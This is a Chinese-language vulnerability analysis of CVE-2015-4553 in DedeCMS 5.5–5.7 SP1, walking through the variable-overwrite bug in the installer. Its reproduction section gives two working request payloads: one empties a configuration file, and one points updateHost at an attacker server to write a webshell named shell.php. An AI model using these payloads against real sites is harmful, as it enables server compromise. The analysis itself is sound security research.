DedeCMS includecommon.inc.php $step==11 updateHost、s_lang、install_demo_name、insLockfile 代码错误 – 作者:麒麟安全实验室

KYLID:KYL20150614-1


一、漏洞信息

漏洞简介

织梦CMS是集简单、健壮、灵活、开源几大特点的开源内容管理系统。 2017年其官方宣称其程序安装量已达七十万,超过六成的站点正在使用织梦CMS或基于织梦CMS核心开发。 在2014年发布的DedeCMS-V5.7-SP1版本,位于“/install/index.php(index.php.bak)”文件中存在变量覆盖与远程文件包含组合漏洞。

漏洞详细信息
NG架构类型 应用
漏洞对象名称 DedeCMS
漏洞对象版本 5.5 – 5.7 SP1
漏洞对象应用场景 服务端
漏洞目录 代码错误
漏洞标签 变量覆盖, 远程文件包含
漏洞影响 代码执行
漏洞等级
CVE编号 CVE-2015-4553
CVSS评分向量 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L/E:F/RL:O/RC:C
CVSS Base评分 9.4
CVSS 时间评分 8.7
漏洞危害

攻击者可通过此漏洞

  1. 重定义数据库连接。
  2. 直接写入webshell后门

进而获取到网站甚至服务器的管理权限。

厂商建议

参考: http://www.dedecms.com/pl/

漏洞备注

当搭建漏洞环境,安装dedecms时出现如下报错:

DedeCMS Error: (PHP 5.3 and above) Please set ‘request_order’ ini value to i

可在include/common.inc.php文件将对应代码注释:

/*
if(version_compare(PHP_VERSION, '5.3.0', '>'))
{
    if(strtoupper(ini_get('request_order')) == 'GP') 
    exit('DedeCMS Error: (PHP 5.3 and above) Please set \'request_order\' ini value to include C,G and P (recommended: \'CGP\') in php.ini,<a href="http://help.dedecms.com/install-use/apply/2013/0715/2325.html" target="_blank">more...</a>');
}
*/

二、漏洞原理

漏洞位置
问题程序文件 /include/common.inc.php
问题函数或方法 $step==11
问题参数 updateHost、s_lang、install_demo_name、insLockfile
问题数据对象
技术机制

Dedecms安装基本都在install/index.php进行,安装完成后dedecms并没有自动删除install文件夹,而是选择通过在install文件夹中生成install_lock.txt来控制安装:

// KylinLab: 此处定义安装锁文件
$insLockfile = dirname(__FILE__).'/install_lock.txt';
[...  省略部分代码以便阅读  ...]
require_once(DEDEINC.'/common.func.php');
// KylinLab: 判断是否已经安装
if(file_exists($insLockfile))
{
    exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}

安装程序开始运行时,Dedecms首先通过遍历请求来获取到安装过程中不同步骤的参数数据:

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}

http://xx.xx.xx.xx/install/index.php.bak?step=11&s_lang=utf-8

此处的$$则是本次漏洞的关键位置。

其原本作用是将GET、POST、COOKIE三处传入的数据以键值对形式获取,如URL中输入?str=kylin,则$_k的值就是str,$_v的值就是Kylin, 那么${$_k}的值就是$str,也就导致变量覆盖

本次漏洞因$$引起的变量覆盖而引发install/index.php文件中远程读取数据和写文件相关的$updateHost$s_lang$install_demo_name$insLockfile参数可控:

else if($step==11)
{
    require_once('../data/admin/config_update.php');
    $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";

    $sql_content = file_get_contents($rmurl);
    $fp = fopen($install_demo_name,'w');
    if(fwrite($fp,$sql_content))
        echo '  <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
    else
        echo '  <font color="red">[×]</font> 远程获取失败';
    unset($sql_content);
    fclose($fp);
    exit();
}

攻击者可通过结合着两个漏洞,向网站写入Webshell后门。

但由于install/index.php第369行包含了../data/admin/config_update.php更新(体验包)配置地址文件:

require_once('../data/admin/config_update.php');

../data/admin/config_update.php文件则定义$updateHost为:

http://updatenew.dedecms.com/base-v57/

恰巧控制$updateHost,这就导致了就算前面可以通过变量覆盖这个变量,新包含变量同样再次覆盖我们修改好的$updateHost的值。变化流程为:外部可控的$updateHost=》dedecms自身控制的$updateHost。

那么有什么办法可以$updateHost变量绝对可控呢?

有两种思路,第一种是只覆盖../data/admin/config_update.php文件中的$updateHost变量值;第二种则将../data/admin/config_update.php文件内容清空。 第一种思路不可行,只能选择第二种,第二种则可以让程序请求一个不存在的dedecms官方体验包数据的地址。 已存在体验包的可参考:

http://updatenew.dedecms.com/base-v57/dedecms/

代码走读

install/index.php代码19-39行存在变量覆盖:

$insLockfile = dirname(__FILE__).'/install_lock.txt';
$moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc';

define('DEDEINC',dirname(__FILE__).'/../include');
define('DEDEDATA',dirname(__FILE__).'/../data');
define('DEDEROOT',preg_replace("#[\\\\\/]install#", '', dirname(__FILE__)));
header("Content-Type: text/html; charset={$s_lang}");

require_once(DEDEROOT.'/install/install.inc.php');
require_once(DEDEINC.'/zip.class.php');

//KylinLab: 变量覆盖
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}

require_once(DEDEINC.'/common.func.php');

if(file_exists($insLockfile))
{
    exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}

其中RunMagicQuotes函数则对参数值中的特殊字符进行转义处理,具体函数定义可在/include/commom.inc.php看到:

function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
            {
              exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

addslashes函数可以参考:

https://www.php.net/manual/zh/function.addslashes.php

跟进/install/index.php(安装好dedecms则变为index.php.bak)代码文件367-381行,由变量覆盖引发的远程文件包含:

else if($step==11)
{
    // KylinLab: 加载含体验包地址的配置文件
    require_once('../data/admin/config_update.php');
    // KylinLab: 体验包地址,utf-8编码的默认为:http://updatenew.dedecms.com/base-v57/dedecms/demodata.utf-8.txt
    $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
    // KylinLab: 读取体验包地址数据,并向$install_demo_name文件写入体验数据
    $sql_content = file_get_contents($rmurl);
    $fp = fopen($install_demo_name,'w');
    // KylinLab: 写入体验包数据到本地成功时
    if(fwrite($fp,$sql_content))
        echo '  <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
    else
        echo '  <font color="red">[×]</font> 远程获取失败';
    unset($sql_content);
    fclose($fp);
    exit();
}
触发利用条件
  1. 攻击者先向漏洞服务器发送一个包含精心构造的可清空../data/admin/config_update.php体验包配置文件内容的HTTP请求。
  2. 攻击者再向漏洞服务器发送一个可远程包含获取Webshell的HTTP请求,当受漏洞影响的软件处理请求时,则触发漏该漏洞。
攻击复现
需要Getshell的情况下需要两步:
1.清空配置文件../data/admin/config_update.php`
2.利用变量覆盖进行远程包含Getshell

1、 清空配置文件../data/admin/config_update.php


查看php的资料可以file_get_contents函数定义,对于传入参数为URL时,只有URL的响应状态码为200且响应内容非空时,才返回对应页面数据,否则返回false,对应字符串为空字符。 由此可构造攻击Payload:

?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

效果: 图片[1]-DedeCMS includecommon.inc.php $step==11 updateHost、s_lang、install_demo_name、insLockfile 代码错误 – 作者:麒麟安全实验室-安全小百科图为攻击前后文件大小对比。

2、 利用变量覆盖进行远程包含Getshell


因为远程读取URL为:

$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";

则需要在攻击者的可以在攻击者服务器建立dedecms/demodata. {$s_lang}.txt文件: 图片[2]-DedeCMS includecommon.inc.php $step==11 updateHost、s_lang、install_demo_name、insLockfile 代码错误 – 作者:麒麟安全实验室-安全小百科则第二次攻击payload可为:

?step=11&insLockfile=a&s_lang=a&install_demo_name=shell.php&updateHost=http://x.x.x.x/

效果: 图片[3]-DedeCMS includecommon.inc.php $step==11 updateHost、s_lang、install_demo_name、insLockfile 代码错误 – 作者:麒麟安全实验室-安全小百科图片[4]-DedeCMS includecommon.inc.php $step==11 updateHost、s_lang、install_demo_name、insLockfile 代码错误 – 作者:麒麟安全实验室-安全小百科另外可以思考下:是不是仅仅可以通过get方式利用?

来源:freebuf.com 2019-06-15 09:37:24 by: 麒麟安全实验室

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论